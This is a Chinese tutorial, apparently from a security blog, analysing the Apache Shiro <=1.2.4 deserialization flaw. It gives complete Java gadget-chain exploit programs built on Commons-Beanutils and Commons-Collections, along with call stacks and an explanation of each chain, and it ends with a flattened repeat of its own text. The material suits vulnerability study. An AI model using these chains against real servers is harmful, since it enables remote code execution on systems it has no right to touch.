shiro结合CB与CC
字数 1389 2025-08-10 23:41:50

Apache Shiro反序列化漏洞分析与利用教学文档

1. 漏洞简介

Apache Shiro是一个强大且易用的Java安全框架,提供身份验证、授权、密码和会话管理功能。在版本<=1.2.4中存在反序列化漏洞,攻击者可以利用固定编码的Key构造恶意序列化数据,结合其他依赖库实现远程代码执行。

2. 环境搭建

2.1 项目准备

  • 项目地址:https://github.com/apache/shiro (使用版本<=1.2.4)
  • 修改shiro/samples/web目录下的pom.xml,添加jstl依赖以避免JSP解析错误:
<dependency>
    <groupId>javax.servlet</groupId>
    <artifactId>jstl</artifactId>
    <version>1.2</version>
    <scope>provided</scope>
</dependency>

2.2 必要依赖

漏洞利用需要以下依赖:

<dependency>
    <groupId>commons-beanutils</groupId>
    <artifactId>commons-beanutils</artifactId>
    <version>1.9.2</version>
</dependency>
<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
</dependency>

3. 漏洞利用方式

3.1 基于Commons-Beanutils(CB)的利用

3.1.1 EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CBtest {
    public static void main(String[] args) throws Exception {
        // 读取恶意字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        
        // 构造TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "360");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 构造BeanComparator
        BeanComparator beanComparator = new BeanComparator();
        
        // 构造PriorityQueue并添加初始值
        PriorityQueue queue = new PriorityQueue(360, beanComparator);
        queue.add(1);
        queue.add(1);
        
        // 反射修改为恶意值
        setFieldValue(beanComparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{templates, templates});
        
        // 序列化和反序列化测试
        serialize(queue);
        unserialize("serCB.bin");
    }
    
    // 辅助方法:反射设置字段值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCB.bin"));
        oos.writeObject(obj);
    }
    
    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

3.1.2 调用栈分析

getOutputProperties:507, TemplatesImpl
invoke0:-1, NativeMethodAccessorImpl
invoke:62, NativeMethodAccessorImpl
invoke:43, DelegatingMethodAccessorImpl
invoke:497, Method
invokeMethod:2116, PropertyUtilsBean
getSimpleProperty:1267, PropertyUtilsBean
getNestedProperty:808, PropertyUtilsBean
getProperty:884, PropertyUtilsBean
getProperty:464, PropertyUtils
compare:163, BeanComparator
siftDownUsingComparator:721, PriorityQueue
siftDown:687, PriorityQueue
heapify:736, PriorityQueue
readObject:795, PriorityQueue
...

3.1.3 漏洞原理

  1. PriorityQueuereadObject方法会调用heapify方法
  2. heapify调用siftDown,进而调用siftDownUsingComparator
  3. 执行comparator.compare方法(即BeanComparator.compare
  4. PropertyUtils.getProperty会执行任意对象的getter方法
  5. 通过TemplatesImplgetOutputProperties方法触发代码执行

3.2 基于Commons-Collections(CC)的利用

3.2.1 EXP代码

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CCtest {
    public static void main(String[] args) throws Exception {
        // 读取恶意字节码
        byte[] code = Files.readAllBytes(Paths.get("E:\\JAVA\\shiro550\\target\\classes\\Exp.class"));
        
        // 构造TemplatesImpl对象
        TemplatesImpl templates = new TemplatesImpl();
        setFieldValue(templates, "_name", "calc");
        setFieldValue(templates, "_bytecodes", new byte[][] {code});
        setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
        
        // 构造InvokerTransformer
        InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
        
        // 构造LazyMap
        HashMap<Object, Object> hashMap = new HashMap<>();
        Map<Object,Object> lazymap = LazyMap.decorate(hashMap, new ConstantTransformer(1));
        
        // 构造TiedMapEntry
        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
        
        // 构造触发HashMap
        HashMap<Object,Object> map1 = new HashMap<>();
        map1.put(tiedMapEntry, "bbb");
        
        // 清除key避免提前触发
        lazymap.remove(templates);
        
        // 反射修改LazyMap的factory为InvokerTransformer
        Class c = LazyMap.class;
        Field factory = c.getDeclaredField("factory");
        factory.setAccessible(true);
        factory.set(lazymap, invokerTransformer);
        
        // 序列化和反序列化测试
        serialize(map1);
        unserialize("serCC.bin");
    }
    
    // 辅助方法:反射设置字段值
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    
    // 序列化方法
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serCC.bin"));
        oos.writeObject(obj);
    }
    
    // 反序列化方法
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        return ois.readObject();
    }
}

3.2.2 调用栈分析

transform:133, InvokerTransformer
get:158, LazyMap
getValue:74, TiedMapEntry
hashCode:121, TiedMapEntry
hash:338, HashMap
readObject:1397, HashMap
...

3.2.3 漏洞原理

  1. HashMapreadObject方法会调用hash()方法
  2. hash()方法调用key.hashCode()(即TiedMapEntry.hashCode()
  3. TiedMapEntry.hashCode()调用getValue()
  4. getValue()调用map.get(key)(即LazyMap.get()
  5. LazyMap.get()调用factory.transform(key)(即InvokerTransformer.transform()
  6. 通过反射调用TemplatesImpl.newTransformer()触发代码执行

4. 关键注意事项

  1. CB利用链注意事项

    • 需要先给beanComparatorqueue赋正常值
    • queue.add()完成后才反射修改为恶意值,避免提前触发
    • 关键代码段:
      BeanComparator beanComparator = new BeanComparator();
      PriorityQueue queue = new PriorityQueue(360, beanComparator);
      queue.add(1);
      queue.add(1);
      setFieldValue(beanComparator, "property", "outputProperties");
      setFieldValue(queue, "queue", new Object[]{templates, templates});
      
  2. CC利用链注意事项

    • TiedMapEntry构造函数会将key赋值给lazyMap的key
    • 需要在构造完成后清除key,避免流程无法进入if语句
    • 关键代码段:
      TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, templates);
      lazymap.remove(templates);
      
  3. 调试注意事项

    • IDEA可能会自动触发某些函数导致payload提前执行
    • 断点位置会影响调试流程,需要选择合适的断点位置

5. 总结

Apache Shiro反序列化漏洞可以通过多种方式利用,本文详细分析了基于Commons-Beanutils和Commons-Collections的两种利用方式。理解这些利用链的关键在于掌握Java反序列化机制和各个库的内部实现细节。在实际利用时,需要注意避免payload提前触发,并正确处理各个对象的构造顺序和反射修改时机。

Apache Shiro反序列化漏洞分析与利用教学文档 1. 漏洞简介 Apache Shiro是一个强大且易用的Java安全框架,提供身份验证、授权、密码和会话管理功能。在版本 <=1.2.4中存在反序列化漏洞,攻击者可以利用固定编码的Key构造恶意序列化数据,结合其他依赖库实现远程代码执行。 2. 环境搭建 2.1 项目准备 项目地址:https://github.com/apache/shiro (使用版本 <=1.2.4) 修改 shiro/samples/web 目录下的 pom.xml ,添加jstl依赖以避免JSP解析错误: 2.2 必要依赖 漏洞利用需要以下依赖: 3. 漏洞利用方式 3.1 基于Commons-Beanutils(CB)的利用 3.1.1 EXP代码 3.1.2 调用栈分析 3.1.3 漏洞原理 PriorityQueue 的 readObject 方法会调用 heapify 方法 heapify 调用 siftDown ,进而调用 siftDownUsingComparator 执行 comparator.compare 方法(即 BeanComparator.compare ) PropertyUtils.getProperty 会执行任意对象的getter方法 通过 TemplatesImpl 的 getOutputProperties 方法触发代码执行 3.2 基于Commons-Collections(CC)的利用 3.2.1 EXP代码 3.2.2 调用栈分析 3.2.3 漏洞原理 HashMap 的 readObject 方法会调用 hash() 方法 hash() 方法调用 key.hashCode() (即 TiedMapEntry.hashCode() ) TiedMapEntry.hashCode() 调用 getValue() getValue() 调用 map.get(key) (即 LazyMap.get() ) LazyMap.get() 调用 factory.transform(key) (即 InvokerTransformer.transform() ) 通过反射调用 TemplatesImpl.newTransformer() 触发代码执行 4. 关键注意事项 CB利用链注意事项 : 需要先给 beanComparator 和 queue 赋正常值 在 queue.add() 完成后才反射修改为恶意值,避免提前触发 关键代码段: CC利用链注意事项 : TiedMapEntry 构造函数会将key赋值给 lazyMap 的key 需要在构造完成后清除key,避免流程无法进入if语句 关键代码段: 调试注意事项 : IDEA可能会自动触发某些函数导致payload提前执行 断点位置会影响调试流程,需要选择合适的断点位置 5. 总结 Apache Shiro反序列化漏洞可以通过多种方式利用,本文详细分析了基于Commons-Beanutils和Commons-Collections的两种利用方式。理解这些利用链的关键在于掌握Java反序列化机制和各个库的内部实现细节。在实际利用时,需要注意避免payload提前触发,并正确处理各个对象的构造顺序和反射修改时机。